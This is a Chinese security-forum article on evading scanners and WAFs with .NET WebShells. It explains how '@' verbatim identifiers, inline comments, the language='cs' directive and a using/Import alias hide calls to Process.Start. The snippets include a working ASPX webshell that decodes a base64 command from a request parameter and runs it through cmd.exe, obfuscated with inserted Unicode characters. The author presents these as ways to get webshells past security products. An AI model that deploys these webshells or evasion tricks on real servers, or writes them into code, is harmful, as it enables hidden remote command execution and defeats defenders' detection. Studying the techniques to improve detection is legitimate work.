问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
.NET WebShell 免杀系列之特殊技巧
渗透测试
0X01 背景 .NET WebShell 绕过和免杀的方法系列第二季开始,接上季走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具之后,本文介绍几种特殊的免杀和绕过技巧,至于具体都有哪些呢?请...
0X01 背景 ======= .NET WebShell 绕过和免杀的方法系列第二季开始,接上季走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具之后,本文介绍几种特殊的免杀和绕过技巧,至于具体都有哪些呢?请阅读者保持好奇心跟随笔者一探究竟吧! 0X02 符号 ======= 2.1 逐字标识符 --------- @符号在.NET字符中有着特殊的意义,把“@”放在一个字符串前面,表示后面是一个逐字字符串,@符号的这个特点使得在表示系统文件路径时很方便,就可以不再需要转义符。使用@字符后无法在字符串中插入有效的换行符(\\n)或制表符(\\t),因为将被当成正常字符串输出。例如以下Demo ```php string filepath = "C:\\Program Files\\wmplayer.exe"; => C:\Program Files\wmplayer.exe string filepath = @"C:\Program Files\wmplayer.exe"; => C:\Program Files\wmplayer.exe string filename = @"dotNet\tFile"; => dotNet\tFile ``` 另外还可以转义.NET平台保留的关键词,如 Class、NameSpace、int等,参考如下Demo ```php namespace @namespace { class @class { public static void @static(int @int) { if (@int > 0) { System.Console.WriteLine("Positive Integer"); } else if (@int == 0) { System.Console.WriteLine("Zero"); } else { System.Console.WriteLine("Negative Integer"); } } } } ``` 既然@字符可以做这么多有趣的事,咱们就研究下利用它绕过某些安全产品的防护规则,笔者在Process类完整的命名空间处每个点之间都加上@符,如下 ```php <script runat="server" language="c#"> public void Page_load(){ @System.@Diagnostics.@Process.@Start("cmd.exe","/c mstsc"); } </script> ``` 2.2 内联注释符 --------- 在.NET项目中单个aspx页面里支持使用内联注释符 /\*\*/ , 此符号只会注释掉两个\*号之间的内容,利用此特点也可以在类完全限定名每个点之间加上内联注释,如下 ```php <%@ Page Language="C#" ResponseEncoding="utf-8" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> <script runat="server"> public void Page_load() { System/**/.Diagnostics./**/Process/**/.Start("cmd.exe","/c calc"); } </script> ``` 0X03 语言 ======= 3.1 指定托管语言为C ------------ .NET WebForm项目通常包含多个ASPX文件,每个文件都是C#语言编写服务端代码,其@Page指令最常用的设置如以下代码所示,\[ Language \] 属性指明服务端所使用的托管语言类型,默认均为 Language="C#" ```php <%@ Page Title="About" Language="C#" AutoEventWireup="true" CodeBehind="About.aspx.cs" Inherits="WebApplication1.About" %> ``` \[ AutoEventWireup \] 属性可设置Index.aspx页面的事件是否自动绑定,其值为布尔类型,\[ CodeBehind \] 属性指定包含与页关联的类的已编译文件的名称,这个属性不能在运行时使用。\[ Inherits \] 定义本页面所继承的代码隐藏类,该类的以分部类方式定义于 \[ CodeBehind \] 属性所指向的 .cs文件中,该类派生于System.Web.UI.Page类。 3.2 指定托管语言为csharp ----------------- 在WebForm项目单个ASPX文件中@Page指令也不是必须要声明的,可以省略。<script runat="server"> 标签表示代码运行于服务端,language可指定为csharp, ```php <script runat="server" language="csharp"> public void Page_load() { if (!string.IsNullOrEmpty(Request["content"])) { var content = Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request["content"])); System.Diagnostics.Pro\U0000FFFAcess.Star\uFFFAt("cmd.exe","/c " + content); } } </script> ``` ### 3.3 指定托管语言为cs 现在市面上大多数的安全防护产品和规则都紧盯着 language=csharp 或 language=c# 这两种,很多大马和小马在上传漏洞的场景下被封杀的死死的,但却忽略了.NET编译器还提供了 language=cs 这样的简略写法,有天帮助一位师傅成功绕过WAF拦截,哈哈挺有效的。 参考的demo代码如下,具体原因在于 .Net编译器提供Microsoft.CSharp.CSharpCodeProvider类实现对C#代码编译的 ```php <%@ Page Language="cs" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> ``` 笔者分析程序集完全限定名为 Microsoft.CSharp.CSharpCodeProvider, System, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089,因为 System.CodeDom.Compiler.CodeDomProvider 类里的私有方法 GetCompilerInfoForLanguageNoThrow 获取config配置文件里的语言类型编译选项 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-6341c78637751a963a8797ac9659e7659d47e68e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-994dc627c51f819e5cb35b181bb3768753a9cd6c.png) 从 PrivilegedConfigurationManager.GetSection 方法可以清楚的看到从配置文件的system.codedom标签下获取定义的所有语言类型,微软官方文档预设定义了三种,如下所示,详情点击 [微软官方文档](https://docs.microsoft.com/zh-cn/dotnet/framework/configure-apps/file-schema/compiler/compiler-element) | 属性 | 描述 | |---|---| | `compilerOptions` | 指定用于编译的其他特定于编译器的参数。 | | `extension` | 为语言提供程序提供由源文件使用的文件扩展名的分号分隔列表。 例如“.cs”。 | | `language` | 提供由语言提供程序支持的语言名称的分号分隔列表。 例如“**C#;cs;csharp**”。 | | `type` | 指定语言提供程序的类型名称,包括包含提供程序实现的程序集的名称。 类型名称必须符合指定完全限定的类型名称中定义的要求。 | | `warningLevel` | 指定默认的编译器警告级别;确定语言提供程序将编译警告视为错误的级别。 | 所以在默认的.NET编译器里支持 language=cs 这样的声明,基于这点创造的webshell代码如下 ```php <script runat="server" language="cs"> public void Page_load(){ System.Diagnostics.Process.Start("cmd.exe","/c calc"); } </script> ``` 0X04 using别名 ============ using + 命名空间名,这样可以在程序中直接用命令空间中的类型,而不必指定类型的详细命名空间,类似于Java的import,这个功能也是最常用的,如下 ```php using System; using System.Data; ``` 另外using语句还可以定义.NET资源使用范围,在程序结束时处理对象释放资源,比较常见与文件读写或者数据库连接等场景,如下代码 ```php using (SqlDataAdapter sqa = new SqlDataAdapter(sql, sc)) { sqa.SelectCommand.CommandTimeout = executeTimeOut; sqa.Fill(dtRet); return dtRet; } ``` using还有个取别名的功能,using + 别名 = 包括详细命名空间信息的具体的类型,当需要用到这个类型的时候,就每个地方都要用详细命名空间的办法来区分这些相同名字的类型,当然被笔者用来做免杀也是相当的赞,但在ASPX单个页面使用时,using变成Import关键词,如下代码 ```php <%@ Import Namespace="dotNet=@System.@Diagnostics.@Process" %> <script runat="server" language="c#"> public void Page_load(){ dotNet.Start("cmd.exe","/c calc"); } </script> ``` 将Process类的完全命名空间赋给dotNet这个别名,然后再代码中直接使用 dotNet.Start 方法启动新进程,这种方式或许能绕过一些安全产品的规则。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ea83f7c8780fd3b4c120ca20b4b981669464feed.png) 0X05 结语 ======= .NET这些有趣的Tricks还有很多,如果对这些技巧感兴趣的话可以多关注我们的[博客](https://www.cnblogs.com/Ivan1ee/)、[公众号dotNet安全矩阵](https://mp.weixin.qq.com/s/VIsJlDmWGD0QcgBDDsRP9g)以及[星球](https://t.zsxq.com/04yFmii2b),下一篇将继续分享 .NET 免杀Trick,请大伙继续关注文章。另外文章涉及的PDF和Demo已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
发表于 2022-08-08 09:32:16
阅读 ( 7373 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Ivan1ee
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!